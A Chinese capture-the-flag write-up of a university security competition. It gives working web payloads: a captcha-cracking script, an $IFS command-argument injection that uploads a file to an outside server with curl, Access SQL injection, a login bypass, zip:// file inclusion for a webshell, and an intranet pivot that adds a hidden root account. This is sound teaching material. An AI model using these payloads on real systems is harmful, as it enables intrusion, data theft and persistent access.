信息安全国赛技能赛 Writeup

2023-02-21 15:00:16 浏览数 (2)

周末在北京wooyun峰会的旅途上打了一场大学生信息安全的国赛的技能赛,本以为能进的决赛,却因为人手不够再加上个人水平太差错过了,虽然i春秋的平台一股浓浓的国产页游风,但不得不说,题目的质量确实不算差,稍微整理下wp…

WEB

web150 脚本抢金币

150这题没什么可说,由于验证码比较弱,所以上网找个识别验证码的再写个脚本就好了,贴上队友的脚本

代码语言:javascript复制
#!/usr/bin/env python2
# coding: utf-8

from bs4 import BeautifulSoup
from PIL import Image
import pytesseract
import requests

url = "http://106.75.30.59:8888/game.php"
cookies = dict(PHPSESSID="2cr00id1lh76jgskh4ddlr15m1")

r = requests.get(url, cookies=cookies)
raw_content = r.content
# print raw_content

soup = BeautifulSoup(raw_content, "html5lib")
raw_tr = soup.find_all('tr')
# raw_a_tag = raw_a_tag[1:21]
raw_tr = raw_tr[1:21]

for i in xrange(1,200):
    for tr in raw_tr:
        name = tr.find_all('td')[1].get_text()
        robid = tr.find_all('a')[0].get('href')

        # bypass limit
        url = "http://106.75.30.59:8888/"   robid[2:]
        requests.get(url, cookies=cookies)

        # get code
        url = "http://106.75.30.59:8888/code.php"
        code = requests.get(url, cookies=cookies)
        with open("code.png", "wb") as ff:
            ff.write(code.content)
        img = Image.open("code.png")
        code_string = pytesseract.image_to_string(img)

        # do rob
        data = {
            'user': name,
            'num' : '1000',
            'code': code_string
        }
        r = requests.post('http://106.75.30.59:8888/dorob.php', data=data, cookies=cookies)
        ss = BeautifulSoup(r.content, "html5lib")
        print ss.find_all('h1')[0].get_text()

web200 IFS绕过导致的任意curl

fuzz了很久找到了.index.php.swo

改为.swp后缀,新建index.php,vim打开恢复,get源码

代码语言:javascript复制
<?php 

function strreplace($str){ 
	error_reporting(E_ALL || ~E_NOTICE);
	$str = str_replace(' ','',$str);
    $str = str_replace('@','',$str);
    $str = str_replace('?','',$str);
    $str = str_replace('!','',$str);
    $str = str_replace('#','',$str);
    $str = str_replace('%','',$str);
    $str = str_replace('}','',$str);
    $str = str_replace('{','',$str);
    $str = str_replace(')','',$str);
    $str = str_replace('(','',$str);
    $str = str_replace(')','',$str);
    $str = str_replace('>','',$str);
    $str = str_replace('&','',$str);
    $str = str_replace('|','',$str);
    $str = str_replace(';','',$str);
    $str = str_replace('`','',$str);
	return $str;
}      

if($_GET[num]<>"")
{ 
	$num = $_GET[num];
	if(strstr($num,'1'))
		die("Sorry");
}
elseif($num <> 1){
{
	echo "Try to num = 1";
}
if($num == 1 ){
	echo "Flag in http://127.0.0.1/flag.php"."</br>";
	$cmd=trim($_GET['cmd']); 
	$cmd=strreplace($cmd);
	system("curl$cmd/flag.php");
	}
}else{echo "It Works!";}

?>

第一步没什么可说的其实,php特性,0.99999999999999就会产生小数下标溢出为1。

然后是第二部步,在shell中$IFS会被解释为空格,这样就可以巧妙绕过trim的过滤,这样我们就可以使用任意curl命令了,但是尝试了很多办法都和直接访问flag.php是相同的,但是curl可以使用-T来把本地文件上传到ftp服务器,那么我们可以构造向我们的服务器上传文件,这样就可以get flag.php这个文件

payload:

代码语言:javascript复制
ttp://106.75.32.87:16888/index.php?num=0.99999999999999999999999999999999999&cmd=$IFS-T flag.php -a http://xxxx:xx

这里的xxxx就是你自己服务器地址,然后再服务器监听xx端口,就可以看到了

代码语言:javascript复制
root@iZ285ei82c1Z:/home/wwwroot/default/test# nc -lvv 20
Listening on [0.0.0.0] (family 0, port 20)
Connection from [106.75.32.87] port 20 [tcp/ftp-data] accepted (family 2, sport 44712)
PUT /flag.php HTTP/1.1
User-Agent: curl/7.35.0
Host: 115.28.78.16:20
Accept: */*
Content-Length: 116
Expect: 100-continue

<?php
echo "Yep,Flag is here,But u cant look in here!";
//flag is here!
//flag{2984bce1807c46879cb80995c7003109}
?>

web300 SQL

打开发现登陆和改名的地方都有注入,但是waf比较迷,数据库也不知道,所以第一天完全没有任何思路,给的提示也是迷迷糊糊的,第一天晚上扫目录的时候获得了一个比较重要的信息,在web根目录下存在2.txt log日志(怎么会有这种名字的日志。。。)…

得到了sql语句

代码语言:javascript复制
update userinfo set user='ssss',lasetloginip='111.111.111.111' where utoken='xxxxxxxxx'

那么就是xff注入了,构造post请求为

代码语言:javascript复制
user=,info='127.0.0.1

修改xff为

代码语言:javascript复制
114.246.76.88',user=DLOOKUP('flag', 'ctf'),email=

这里的dlookup真的是找了好久才知道,由于不熟悉access数据库,access数据库中不能直接代入子查询,需要inner join,但是inner join必须在set前…踩了不熟悉的坑..哎…

web400 phpup

打开首先看看文章,文章里提到有admin的登陆界面,偶然发现有个admin的js,按home键就会出现登陆界面,顺藤摸瓜找到一个登陆接口,这个接口开着报错而且没有任何过滤,除了不能回显以外什么都可以,那么sqlmap都可以跑…

有个问题是from被过滤了,那么只能注当前表,可惜密码解不开,但是我们可以巧妙绕过

代码语言:javascript复制
username=' union select '0cc175b9c0f1b6a831c399e269772661'#
&password=a

发现了admininfile.php文件,有文件包含漏洞

代码语言:javascript复制
http://106.75.30.59:2333/admin/admininfile.php?name=php://filter/read=convert.base64-encode/resource=upload

得到源码

代码语言:javascript复制
upload.php
<?php
	require_once '../connect.php';
	checkLogined();
	if($_FILES){
		$upfile=$_FILES["file"]["name"];
		$fileTypes=array(
				'jpg', 'png','gif','zip','rar','txt');

		function getFileExt($file_name) {
			while($dot = strpos($file_name, ".")) {
				$file_name = substr($file_name, $dot 1);
			}
			return $file_name;
		}
		$test1= strtolower(getFileExt($upfile));
		if(!in_array($test1, $fileTypes)) 
		{

			exit();
		}
		else{
			$nfile=md5(rand(10,1000).time()).".".$test1;
			move_uploaded_file($_FILES["file"]["tmp_name"], "../file123asdp/" . $nfile);
			echo "ok!<a href=../file123asdp/".$nfile.">$nfile</a>";
		}
	}
?>

还有admininfile.php

代码语言:javascript复制
admininfile.php
<?php
	$file=$_GET['name'].'.php';
	if(!file_exists($file)){
		echo $file." not exists!";
	}
	include($file);
?>

看别人的wp发现有很多都是这届读了../flag.php的文件,但是这里其实可以拿shell的,看到上传有zip就想到zip伪协议,构造shell,放在zip文件中,可以用zip://访问shell

payload

代码语言:javascript复制
http://106.75.30.59:2333/admin/admininfile.php?name=zip://../file123asdp/7b3b30bc
74aa1bd666dc94c37af0a465.zip#test

web500 内网渗透

i春秋提供了一个很傻的内网环境,而且工具都是什么奇奇怪怪的东西,第一个web服务优势tomcat。。。没办法,尝试几次都没找到突破口,直接都没做出来…

研究下别人的wp

首先第一台web服务是tomcat 拿web目录扫描器扫了下,看到了admin.htm,在这个页面找到几个action,用st2工具试了下,有S2-032漏洞,然后上传个jsp shell,用菜刀连上去,用菜刀的命令行执行工具添加了一个root账号的密码:

代码语言:javascript复制
useradd -ou 0 -g 0 aaa;echo aaa:aaa|chpasswd

然后目标是13.2, 访问到13.2,13.2的web界面是个HFS,用远程代码执行漏洞,添加个账号,然后再用putty把13.2的3389转发出来登上去,把cain用RDP磁盘共享的办法传上去,dump出来13.2的所有账户的hash,去网上界面,把administrator和zhangsan的密码都解出来了,然后发现zhangsan的密码可以登陆13.3,但是提示没有RDP登陆的权限,于是先用pstools连接上13.3执行cmd,把administrator的密码改了,登陆13.3,然后打开firefox,在历史记录里面看到了13.1网关的登陆记录,密码也保存在13.3的浏览器里面了,然后登陆13.1,把所有LAN段都设置成互相可以通信,退出来在11.2里面就可以访问14.2了

最后退回到14.2 用zhangsan的账号再登陆13.2,发现桌面有个txt,里面提到了一个github地址,访问发现一个web的源码 https://github.com/1033/apptest 正是14.2web的源码,可以上传文件,但是过滤了jsp的后缀名,不过我们可以上传jspx的文件,于是在11.2里面用手写出来一个jspx webshell,成功上传获取到flag.

0 人点赞